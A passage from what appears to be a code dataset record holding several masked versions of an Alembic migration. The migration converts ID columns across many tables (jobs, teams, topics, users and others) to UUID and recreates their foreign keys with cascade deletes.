op.create_foreign_key('remoteci_tests_test_id_fkey', 'remoteci_tests',\n 'tests', ['test_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('remoteci_tests_remoteci_id_fkey',\n 'remoteci_tests', 'remotecis', ['remoteci_id'], ['id'], ondelete=\n 'CASCADE')\n op.create_foreign_key('remotecis_team_id_fkey', 'remotecis', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('tests_team_id_fkey', 'tests', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topic_tests_test_id_fkey', 'topic_tests',\n 'tests', ['test_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topic_tests_topic_id_fkey', 'topic_tests',\n 'topics', ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topics_next_topic_fkey', 'topics', 'topics', [\n 'next_topic'], ['id'])\n op.create_foreign_key('topics_teams_topic_id_fkey', 'topics_teams',\n 'topics', ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topics_teams_team_id_fkey', 'topics_teams',\n 'teams', ['team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('user_remotecis_user_id_fkey', 'user_remotecis',\n 'users', ['user_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('user_remotecis_remoteci_id_fkey',\n 'user_remotecis', 'remotecis', ['remoteci_id'], ['id'], ondelete=\n 'CASCADE')\n op.create_foreign_key('users_team_id_fkey', 'users', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef upgrade():\n op.drop_constraint('component_files_component_id_fkey', 'component_files')\n op.drop_constraint('components_topic_id_fkey', 'components')\n op.drop_constraint('files_job_id_fkey', 'files')\n op.drop_constraint('files_jobstate_id_fkey', 'files')\n op.drop_constraint('files_team_id_fkey', 'files')\n op.drop_constraint('files_test_id_fkey', 'files')\n op.drop_constraint('jobdefinition_tests_jobdefinition_id_fkey',\n 'jobdefinition_tests')\n op.drop_constraint('jobdefinition_tests_test_id_fkey',\n 'jobdefinition_tests')\n op.drop_constraint('jobdefinitions_topic_id_fkey', 'jobdefinitions')\n op.drop_constraint('jobs_team_id_fkey', 'jobs')\n op.drop_constraint('jobs_jobdefinition_id_fkey', 'jobs')\n op.drop_constraint('jobs_remoteci_id_fkey', 'jobs')\n op.drop_constraint('jobs_previous_job_id_fkey', 'jobs')\n op.drop_constraint('jobs_components_component_id_fkey', 'jobs_components')\n op.drop_constraint('jobs_components_job_id_fkey', 'jobs_components')\n op.drop_constraint('jobs_issues_issue_id_fkey', 'jobs_issues')\n op.drop_constraint('jobs_issues_job_id_fkey', 'jobs_issues')\n op.drop_constraint('jobstates_team_id_fkey', 'jobstates')\n op.drop_constraint('jobstates_job_id_fkey', 'jobstates')\n op.drop_constraint('logs_team_id_fkey', 'logs')\n op.drop_constraint('logs_user_id_fkey', 'logs')\n op.drop_constraint('metas_job_id_fkey', 'metas')\n op.drop_constraint('remoteci_tests_test_id_fkey', 'remoteci_tests')\n op.drop_constraint('remoteci_tests_remoteci_id_fkey', 'remoteci_tests')\n op.drop_constraint('remotecis_team_id_fkey', 'remotecis')\n op.drop_constraint('tests_team_id_fkey', 'tests')\n op.drop_constraint('topic_tests_test_id_fkey', 'topic_tests')\n op.drop_constraint('topic_tests_topic_id_fkey', 'topic_tests')\n op.drop_constraint('topics_next_topic_fkey', 'topics')\n op.drop_constraint('topics_teams_topic_id_fkey', 'topics_teams')\n op.drop_constraint('topics_teams_team_id_fkey', 'topics_teams')\n op.drop_constraint('user_remotecis_user_id_fkey', 'user_remotecis')\n op.drop_constraint('user_remotecis_remoteci_id_fkey', 'user_remotecis')\n op.drop_constraint('users_team_id_fkey', 'users')\n op.execute(\n 'ALTER TABLE component_files ALTER COLUMN component_id TYPE UUID USING component_id::uuid'\n )\n op.execute(\n 'ALTER TABLE component_files ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE components ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE components ALTER COLUMN topic_id TYPE UUID USING topic_id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN jobstate_id TYPE UUID USING jobstate_id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN test_id TYPE UUID USING test_id::uuid'\n )\n op.execute(\n 'ALTER TABLE issues ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobdefinition_tests ALTER COLUMN jobdefinition_id TYPE UUID USING jobdefinition_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobdefinition_tests ALTER COLUMN test_id TYPE UUID USING test_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobdefinitions ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobdefinitions ALTER COLUMN topic_id TYPE UUID USING topic_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN jobdefinition_id TYPE UUID USING jobdefinition_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN remoteci_id TYPE UUID USING remoteci_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN previous_job_id TYPE UUID USING previous_job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs_components ALTER COLUMN component_id TYPE UUID USING component_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs_components ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs_issues ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs_issues ALTER COLUMN issue_id TYPE UUID USING issue_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobstates ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobstates ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobstates ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE logs ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE logs ALTER COLUMN user_id TYPE UUID USING user_id::uuid'\n )\n op.execute(\n 'ALTER TABLE logs ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE metas ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE metas ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE remoteci_tests ALTER COLUMN remoteci_id TYPE UUID USING remoteci_id::uuid'\n )\n op.execute(\n 'ALTER TABLE remoteci_tests ALTER COLUMN test_id TYPE UUID USING test_id::uuid'\n )\n op.execute(\n 'ALTER TABLE remotecis ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE remotecis ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE teams ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE tests ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE tests ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE topic_tests ALTER COLUMN topic_id TYPE UUID USING topic_id::uuid'\n )\n op.execute(\n 'ALTER TABLE topic_tests ALTER COLUMN test_id TYPE UUID USING test_id::uuid'\n )\n op.execute(\n 'ALTER TABLE topics ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE topics ALTER COLUMN next_topic TYPE UUID USING next_topic::uuid'\n )\n op.execute(\n 'ALTER TABLE topics_teams ALTER COLUMN topic_id TYPE UUID USING topic_id::uuid'\n )\n op.execute(\n 'ALTER TABLE topics_teams ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE user_remotecis ALTER COLUMN user_id TYPE UUID USING user_id::uuid'\n )\n op.execute(\n 'ALTER TABLE user_remotecis ALTER COLUMN remoteci_id TYPE UUID USING remoteci_id::uuid'\n )\n op.execute(\n 'ALTER TABLE users ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE users ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.create_foreign_key('component_files_component_id_fkey',\n 'component_files', 'components', ['component_id'], ['id'], ondelete\n ='CASCADE')\n op.create_foreign_key('components_topic_id_fkey', 'components',\n 'topics', ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_job_id_fkey', 'files', 'jobs', ['job_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_jobstate_id_fkey', 'files', 'jobstates', [\n 'jobstate_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_team_id_fkey', 'files', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_test_id_fkey', 'files', 'tests', [\n 'test_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobdefinition_tests_jobdefinition_id_fkey',\n 'jobdefinition_tests', 'jobdefinitions', ['jobdefinition_id'], [\n 'id'], ondelete='CASCADE')\n op.create_foreign_key('jobdefinition_tests_test_id_fkey',\n 'jobdefinition_tests', 'tests', ['test_id'], ['id'], ondelete='CASCADE'\n )\n op.create_foreign_key('jobdefinitions_topic_id_fkey', 'jobdefinitions',\n 'topics', ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_team_id_fkey', 'jobs', 'teams', ['team_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_jobdefinition_id_fkey', 'jobs',\n 'jobdefinitions', ['jobdefinition_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_remoteci_id_fkey', 'jobs', 'remotecis', [\n 'remoteci_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_previous_job_id_fkey', 'jobs', 'jobs', [\n 'previous_job_id'], ['id'])\n op.create_foreign_key('jobs_components_component_id_fkey',\n 'jobs_components', 'components', ['component_id'], ['id'], ondelete\n ='CASCADE')\n op.create_foreign_key('jobs_components_job_id_fkey', 'jobs_components',\n 'jobs', ['job_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_issues_issue_id_fkey', 'jobs_issues',\n 'issues', ['issue_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_issues_job_id_fkey', 'jobs_issues', 'jobs',\n ['job_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobstates_team_id_fkey', 'jobstates', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobstates_job_id_fkey', 'jobstates', 'jobs', [\n 'job_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('logs_team_id_fkey', 'logs', 'teams', ['team_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('logs_user_id_fkey', 'logs', 'users', ['user_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('metas_job_id_fkey', 'metas', 'jobs', ['job_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('remoteci_tests_test_id_fkey', 'remoteci_tests',\n 'tests', ['test_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('remoteci_tests_remoteci_id_fkey',\n 'remoteci_tests', 'remotecis', ['remoteci_id'], ['id'], ondelete=\n 'CASCADE')\n op.create_foreign_key('remotecis_team_id_fkey', 'remotecis', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('tests_team_id_fkey', 'tests', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topic_tests_test_id_fkey', 'topic_tests',\n 'tests', ['test_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topic_tests_topic_id_fkey', 'topic_tests',\n 'topics', ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topics_next_topic_fkey', 'topics', 'topics', [\n 'next_topic'], ['id'])\n op.create_foreign_key('topics_teams_topic_id_fkey', 'topics_teams',\n 'topics', ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topics_teams_team_id_fkey', 'topics_teams',\n 'teams', ['team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('user_remotecis_user_id_fkey', 'user_remotecis',\n 'users', ['user_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('user_remotecis_remoteci_id_fkey',\n 'user_remotecis', 'remotecis', ['remoteci_id'], ['id'], ondelete=\n 'CASCADE')\n op.create_foreign_key('users_team_id_fkey', 'users', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n\n\ndef downgrade():\n pass\n",
"step-3": "<mask token>\nrevision = '1bb42ff54435'\ndown_revision = '6bbbf58ed9de'\nbranch_labels = None\ndepends_on = None\n<mask token>\n\n\ndef upgrade():\n op.drop_constraint('component_files_component_id_fkey', 'component_files')\n op.drop_constraint('components_topic_id_fkey', 'components')\n op.drop_constraint('files_job_id_fkey', 'files')\n op.drop_constraint('files_jobstate_id_fkey', 'files')\n op.drop_constraint('files_team_id_fkey', 'files')\n op.drop_constraint('files_test_id_fkey', 'files')\n op.drop_constraint('jobdefinition_tests_jobdefinition_id_fkey',\n 'jobdefinition_tests')\n op.drop_constraint('jobdefinition_tests_test_id_fkey',\n 'jobdefinition_tests')\n op.drop_constraint('jobdefinitions_topic_id_fkey', 'jobdefinitions')\n op.drop_constraint('jobs_team_id_fkey', 'jobs')\n op.drop_constraint('jobs_jobdefinition_id_fkey', 'jobs')\n op.drop_constraint('jobs_remoteci_id_fkey', 'jobs')\n op.drop_constraint('jobs_previous_job_id_fkey', 'jobs')\n op.drop_constraint('jobs_components_component_id_fkey', 'jobs_components')\n op.drop_constraint('jobs_components_job_id_fkey', 'jobs_components')\n op.drop_constraint('jobs_issues_issue_id_fkey', 'jobs_issues')\n op.drop_constraint('jobs_issues_job_id_fkey', 'jobs_issues')\n op.drop_constraint('jobstates_team_id_fkey', 'jobstates')\n op.drop_constraint('jobstates_job_id_fkey', 'jobstates')\n op.drop_constraint('logs_team_id_fkey', 'logs')\n op.drop_constraint('logs_user_id_fkey', 'logs')\n op.drop_constraint('metas_job_id_fkey', 'metas')\n op.drop_constraint('remoteci_tests_test_id_fkey', 'remoteci_tests')\n op.drop_constraint('remoteci_tests_remoteci_id_fkey', 'remoteci_tests')\n op.drop_constraint('remotecis_team_id_fkey', 'remotecis')\n op.drop_constraint('tests_team_id_fkey', 'tests')\n op.drop_constraint('topic_tests_test_id_fkey', 'topic_tests')\n op.drop_constraint('topic_tests_topic_id_fkey', 'topic_tests')\n op.drop_constraint('topics_next_topic_fkey', 'topics')\n op.drop_constraint('topics_teams_topic_id_fkey', 'topics_teams')\n op.drop_constraint('topics_teams_team_id_fkey', 'topics_teams')\n op.drop_constraint('user_remotecis_user_id_fkey', 'user_remotecis')\n op.drop_constraint('user_remotecis_remoteci_id_fkey', 'user_remotecis')\n op.drop_constraint('users_team_id_fkey', 'users')\n op.execute(\n 'ALTER TABLE component_files ALTER COLUMN component_id TYPE UUID USING component_id::uuid'\n )\n op.execute(\n 'ALTER TABLE component_files ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE components ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE components ALTER COLUMN topic_id TYPE UUID USING topic_id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN jobstate_id TYPE UUID USING jobstate_id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN test_id TYPE UUID USING test_id::uuid'\n )\n op.execute(\n 'ALTER TABLE issues ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobdefinition_tests ALTER COLUMN jobdefinition_id TYPE UUID USING jobdefinition_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobdefinition_tests ALTER COLUMN test_id TYPE UUID USING test_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobdefinitions ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobdefinitions ALTER COLUMN topic_id TYPE UUID USING topic_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN jobdefinition_id TYPE UUID USING jobdefinition_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN remoteci_id TYPE UUID USING remoteci_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN previous_job_id TYPE UUID USING previous_job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs_components ALTER COLUMN component_id TYPE UUID USING component_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs_components ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs_issues ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs_issues ALTER COLUMN issue_id TYPE UUID USING issue_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobstates ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobstates ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobstates ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE logs ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE logs ALTER COLUMN user_id TYPE UUID USING user_id::uuid'\n )\n op.execute(\n 'ALTER TABLE logs ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE metas ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE metas ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE remoteci_tests ALTER COLUMN remoteci_id TYPE UUID USING remoteci_id::uuid'\n )\n op.execute(\n 'ALTER TABLE remoteci_tests ALTER COLUMN test_id TYPE UUID USING test_id::uuid'\n )\n op.execute(\n 'ALTER TABLE remotecis ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE remotecis ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE teams ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE tests ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE tests ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE topic_tests ALTER COLUMN topic_id TYPE UUID USING topic_id::uuid'\n )\n op.execute(\n 'ALTER TABLE topic_tests ALTER COLUMN test_id TYPE UUID USING test_id::uuid'\n )\n op.execute(\n 'ALTER TABLE topics ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE topics ALTER COLUMN next_topic TYPE UUID USING next_topic::uuid'\n )\n op.execute(\n 'ALTER TABLE topics_teams ALTER COLUMN topic_id TYPE UUID USING topic_id::uuid'\n )\n op.execute(\n 'ALTER TABLE topics_teams ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE user_remotecis ALTER COLUMN user_id TYPE UUID USING user_id::uuid'\n )\n op.execute(\n 'ALTER TABLE user_remotecis ALTER COLUMN remoteci_id TYPE UUID USING remoteci_id::uuid'\n )\n op.execute(\n 'ALTER TABLE users ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE users ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.create_foreign_key('component_files_component_id_fkey',\n 'component_files', 'components', ['component_id'], ['id'], ondelete\n ='CASCADE')\n op.create_foreign_key('components_topic_id_fkey', 'components',\n 'topics', ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_job_id_fkey', 'files', 'jobs', ['job_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_jobstate_id_fkey', 'files', 'jobstates', [\n 'jobstate_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_team_id_fkey', 'files', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_test_id_fkey', 'files', 'tests', [\n 'test_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobdefinition_tests_jobdefinition_id_fkey',\n 'jobdefinition_tests', 'jobdefinitions', ['jobdefinition_id'], [\n 'id'], ondelete='CASCADE')\n op.create_foreign_key('jobdefinition_tests_test_id_fkey',\n 'jobdefinition_tests', 'tests', ['test_id'], ['id'], ondelete='CASCADE'\n )\n op.create_foreign_key('jobdefinitions_topic_id_fkey', 'jobdefinitions',\n 'topics', ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_team_id_fkey', 'jobs', 'teams', ['team_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_jobdefinition_id_fkey', 'jobs',\n 'jobdefinitions', ['jobdefinition_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_remoteci_id_fkey', 'jobs', 'remotecis', [\n 'remoteci_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_previous_job_id_fkey', 'jobs', 'jobs', [\n 'previous_job_id'], ['id'])\n op.create_foreign_key('jobs_components_component_id_fkey',\n 'jobs_components', 'components', ['component_id'], ['id'], ondelete\n ='CASCADE')\n op.create_foreign_key('jobs_components_job_id_fkey', 'jobs_components',\n 'jobs', ['job_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_issues_issue_id_fkey', 'jobs_issues',\n 'issues', ['issue_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_issues_job_id_fkey', 'jobs_issues', 'jobs',\n ['job_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobstates_team_id_fkey', 'jobstates', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobstates_job_id_fkey', 'jobstates', 'jobs', [\n 'job_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('logs_team_id_fkey', 'logs', 'teams', ['team_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('logs_user_id_fkey', 'logs', 'users', ['user_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('metas_job_id_fkey', 'metas', 'jobs', ['job_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('remoteci_tests_test_id_fkey', 'remoteci_tests',\n 'tests', ['test_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('remoteci_tests_remoteci_id_fkey',\n 'remoteci_tests', 'remotecis', ['remoteci_id'], ['id'], ondelete=\n 'CASCADE')\n op.create_foreign_key('remotecis_team_id_fkey', 'remotecis', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('tests_team_id_fkey', 'tests', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topic_tests_test_id_fkey', 'topic_tests',\n 'tests', ['test_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topic_tests_topic_id_fkey', 'topic_tests',\n 'topics', ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topics_next_topic_fkey', 'topics', 'topics', [\n 'next_topic'], ['id'])\n op.create_foreign_key('topics_teams_topic_id_fkey', 'topics_teams',\n 'topics', ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topics_teams_team_id_fkey', 'topics_teams',\n 'teams', ['team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('user_remotecis_user_id_fkey', 'user_remotecis',\n 'users', ['user_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('user_remotecis_remoteci_id_fkey',\n 'user_remotecis', 'remotecis', ['remoteci_id'], ['id'], ondelete=\n 'CASCADE')\n op.create_foreign_key('users_team_id_fkey', 'users', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n\n\ndef downgrade():\n pass\n",
"step-4": "<mask token>\nrevision = '1bb42ff54435'\ndown_revision = '6bbbf58ed9de'\nbranch_labels = None\ndepends_on = None\nfrom alembic import op\n\n\ndef upgrade():\n op.drop_constraint('component_files_component_id_fkey', 'component_files')\n op.drop_constraint('components_topic_id_fkey', 'components')\n op.drop_constraint('files_job_id_fkey', 'files')\n op.drop_constraint('files_jobstate_id_fkey', 'files')\n op.drop_constraint('files_team_id_fkey', 'files')\n op.drop_constraint('files_test_id_fkey', 'files')\n op.drop_constraint('jobdefinition_tests_jobdefinition_id_fkey',\n 'jobdefinition_tests')\n op.drop_constraint('jobdefinition_tests_test_id_fkey',\n 'jobdefinition_tests')\n op.drop_constraint('jobdefinitions_topic_id_fkey', 'jobdefinitions')\n op.drop_constraint('jobs_team_id_fkey', 'jobs')\n op.drop_constraint('jobs_jobdefinition_id_fkey', 'jobs')\n op.drop_constraint('jobs_remoteci_id_fkey', 'jobs')\n op.drop_constraint('jobs_previous_job_id_fkey', 'jobs')\n op.drop_constraint('jobs_components_component_id_fkey', 'jobs_components')\n op.drop_constraint('jobs_components_job_id_fkey', 'jobs_components')\n op.drop_constraint('jobs_issues_issue_id_fkey', 'jobs_issues')\n op.drop_constraint('jobs_issues_job_id_fkey', 'jobs_issues')\n op.drop_constraint('jobstates_team_id_fkey', 'jobstates')\n op.drop_constraint('jobstates_job_id_fkey', 'jobstates')\n op.drop_constraint('logs_team_id_fkey', 'logs')\n op.drop_constraint('logs_user_id_fkey', 'logs')\n op.drop_constraint('metas_job_id_fkey', 'metas')\n op.drop_constraint('remoteci_tests_test_id_fkey', 'remoteci_tests')\n op.drop_constraint('remoteci_tests_remoteci_id_fkey', 'remoteci_tests')\n op.drop_constraint('remotecis_team_id_fkey', 'remotecis')\n op.drop_constraint('tests_team_id_fkey', 'tests')\n op.drop_constraint('topic_tests_test_id_fkey', 'topic_tests')\n op.drop_constraint('topic_tests_topic_id_fkey', 'topic_tests')\n op.drop_constraint('topics_next_topic_fkey', 'topics')\n op.drop_constraint('topics_teams_topic_id_fkey', 'topics_teams')\n op.drop_constraint('topics_teams_team_id_fkey', 'topics_teams')\n op.drop_constraint('user_remotecis_user_id_fkey', 'user_remotecis')\n op.drop_constraint('user_remotecis_remoteci_id_fkey', 'user_remotecis')\n op.drop_constraint('users_team_id_fkey', 'users')\n op.execute(\n 'ALTER TABLE component_files ALTER COLUMN component_id TYPE UUID USING component_id::uuid'\n )\n op.execute(\n 'ALTER TABLE component_files ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE components ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE components ALTER COLUMN topic_id TYPE UUID USING topic_id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN jobstate_id TYPE UUID USING jobstate_id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE files ALTER COLUMN test_id TYPE UUID USING test_id::uuid'\n )\n op.execute(\n 'ALTER TABLE issues ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobdefinition_tests ALTER COLUMN jobdefinition_id TYPE UUID USING jobdefinition_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobdefinition_tests ALTER COLUMN test_id TYPE UUID USING test_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobdefinitions ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobdefinitions ALTER COLUMN topic_id TYPE UUID USING topic_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN jobdefinition_id TYPE UUID USING jobdefinition_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN remoteci_id TYPE UUID USING remoteci_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs ALTER COLUMN previous_job_id TYPE UUID USING previous_job_id::uuid'\n 